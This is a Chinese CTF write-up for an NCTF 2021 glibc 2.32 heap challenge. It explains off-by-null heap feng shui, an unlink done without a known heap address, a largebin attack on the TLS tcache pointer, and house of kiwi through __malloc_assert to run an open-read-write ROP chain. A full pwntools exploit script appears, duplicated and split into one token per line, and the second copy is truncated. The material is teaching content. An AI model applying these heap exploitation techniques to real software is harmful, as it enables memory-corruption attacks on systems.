FMYY师傅为nectf2021出的这道题可谓非常折磨,但折磨过后,发现能够学到很多东西。这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法(但都是fmyy师傅玩剩的东西了)。在学习的时候,网上的博客都没有那么细致的讲其中的一些细节,特别是风水,在此记录供自己回味和其它学习者参考
发现禁了execve,那就只能orw了
相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:
(1)add的截断:
虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了
(2)free禁止了UAF(这个就没必要截了)
(3)edit只能执行一次并且存在off_by_null:
这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法
给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:
(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了
(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了
为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:
(1)合并的时候对堆的fd和bk的检测:
free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:
上面的代码大致表示了unlink的过程
之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。
这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:
(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:
先add(0~6)然后delet(0,3,5),堆的布局如下图:
发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?
delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了
但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。 我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针;把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。
合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。
同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块
发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):
那么我们通过两次任意地址写就行了?非也
因为还需要触发assert
如何触发assert?看看malloc.c的源码,ctrl f输入"assert"。发现有80多个。。。
这里介绍其中一种做法:
当top_chunk的大小不够分配时,则会进入sysmalloc中:
发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了
我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。
我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:
通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)
通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了
这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西,感谢FMYY师傅
记另一个堆块为N
fwd
=
N
-
>fd;
bck
=
N
-
>bk;
if
(fwd
-
>bk !
=
N || bck
-
>fd !
=
N) exit(
-
1
);
fwd
-
>bk
=
bck;
bck
-
>fd
=
fwd;
记另一个堆块为N
fwd
=
N
-
>fd;
bck
=
N
-
>bk;
if
(fwd
-
>bk !
=
N || bck
-
>fd !
=
N) exit(
-
1
);
fwd
-
>bk
=
bck;
bck
-
>fd
=
fwd;
......
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
......
......
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
......
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
def
z():
gdb.attach(r)
def
cho(num):
r.sendafter(
">> "
,
str
(num))
def
add(size,content
=
'\x00'
):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(size))
r.sendafter(
"Content: "
,content)
def
edit(idx,con):
cho(
2
)
r.sendlineafter(
"Index: "
,
str
(idx))
r.sendafter(
"Content: "
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"Index: "
,
str
(idx))
def
delet(idx):
cho(
3
)
r.sendlineafter(
"Index: "
,
str
(idx))
def
exp():
global
r
global
libc
libc
=
ELF(
'./libc-2.32.so'
)
r
=
process(
'./main'
)
add(
0x418
)
add(
0x1f8
)
add(
0x428
)
add(
0x438
)
add(
0x208
)
add(
0x428
)
add(
0x208
)
delet(
0
)
delet(
3
)
delet(
5
)
delet(
2
)
add(
0x440
,
0x428
*
'a'
+
p64(
0xc91
))
add(
0x418
)
add(
0x418
)
add(
0x428
)
delet(
3
)
delet(
2
)
add(
0x418
,
'a'
*
9
)
add(
0x418
)
delet(
3
)
delet(
5
)
add(
0x9f8
)
add(
0x428
,
'a'
)
edit(
6
,
0x200
*
'a'
+
p64(
0xc90
)
+
'\x00'
)
add(
0x418
)
add(
0x208
)
delet(
3
)
add(
0x430
,flat(
0
,
0
,
0
,p64(
0x421
)))
add(
0x1600
)
show(
4
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x1e4230
log.success(
'libcbase:'
+
hex
(libcbase))
show(
5
)
heap
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x2b0
log.success(
'heap:'
+
hex
(heap))
IO_file_jumps
=
0x1e54c0
+
libcbase
IO_helper_jumps
=
0x1e48c0
+
libcbase
setcontext
=
libcbase
+
libc.sym[
'setcontext'
]
open_addr
=
libcbase
+
libc.sym[
'open'
]
read_addr
=
libcbase
+
libc.sym[
'read'
]
puts_addr
=
libcbase
+
libc.sym[
'puts'
]
pop_rdi_ret
=
libcbase
+
0x2858f
pop_rsi_ret
=
libcbase
+
0x2ac3f
pop_rdx_pop_rbx_ret
=
libcbase
+
0x1597d6
ret
=
libcbase
+
0x26699
target
=
heap
+
0x8e0
flag_addr
=
heap
+
0x8e0
+
0x100
chain
=
flat(
pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, open_addr,
pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret ,
0x100
,
0
, read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(
0x100
,
'\x00'
)
+
'flag\x00'
TLS
=
libcbase
-
0x2908
add(
0x1240
,
0x208
*
'a'
+
p64(
0x431
)
+
0x428
*
'a'
+
p64(
0x211
)
+
0x208
*
'a'
+
p64(
0xa01
))
delet(
0
)
add(
0x440
,chain)
add(
0x418
)
add(
0x208
)
delet(
5
)
delet(
4
)
add(
0x1240
,
0x208
*
'a'
+
p64(
0x431
)
+
p64(libcbase
+
0x1e3ff0
)
*
2
+
p64(heap
+
0x1350
)
+
p64(TLS
-
0x20
))
delet(
11
)
add(
0x500
)
add(
0x410
)
delet(
4
)
add(
0x1240
,
0x208
*
'a'
+
p64(
0x431
)
+
p64(libcbase
+
0x1e3ff0
)
*
2
+
p64(heap
+
0x1350
)
*
2
)
pd
=
'\x01'
*
0x70
pd
=
pd.ljust(
0xe8
,
'\x00'
)
+
p64(IO_file_jumps
+
0x60
)
pd
=
pd.ljust(
0x168
,
'\x00'
)
+
p64(IO_helper_jumps
+
0xa0
)
+
p64(heap
+
0x46f0
)
add(
0x420
,pd)
add(
0x100
,p64(setcontext
+
61
))
add(
0x200
,p64(target)
+
p64(ret))
add(
0x210
,p64(
0
)
+
p64(
0x910
))
z()
add(
0x1000
)
r.recvuntil(
'flag'
)
string
=
r.recvuntil(
'}'
)
flag
=
'flag'
+
string
print
(flag)
show(
5
)
r.interactive()
if
__name__
=
=
'__main__'
:
exp()
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
def
z():
gdb.attach(r)
def
cho(num):
r.sendafter(
">> "
,
str
(num))
def
add(size,content
=
'\x00'
):
cho(
1
)
r.sendlineafter(
"Size: "
,
str
(size))
r.sendafter(
"Content: "
,content)
def
edit(idx,con):
cho(
2
)
r.sendlineafter(
"Index: "
,
str
(idx))
r.sendafter(
"Content: "
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"Index: "
,
str
(idx))
def
delet(idx):
cho(
3
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-7-23 23:51
被Nameless_a编辑
,原因:
上传的附件: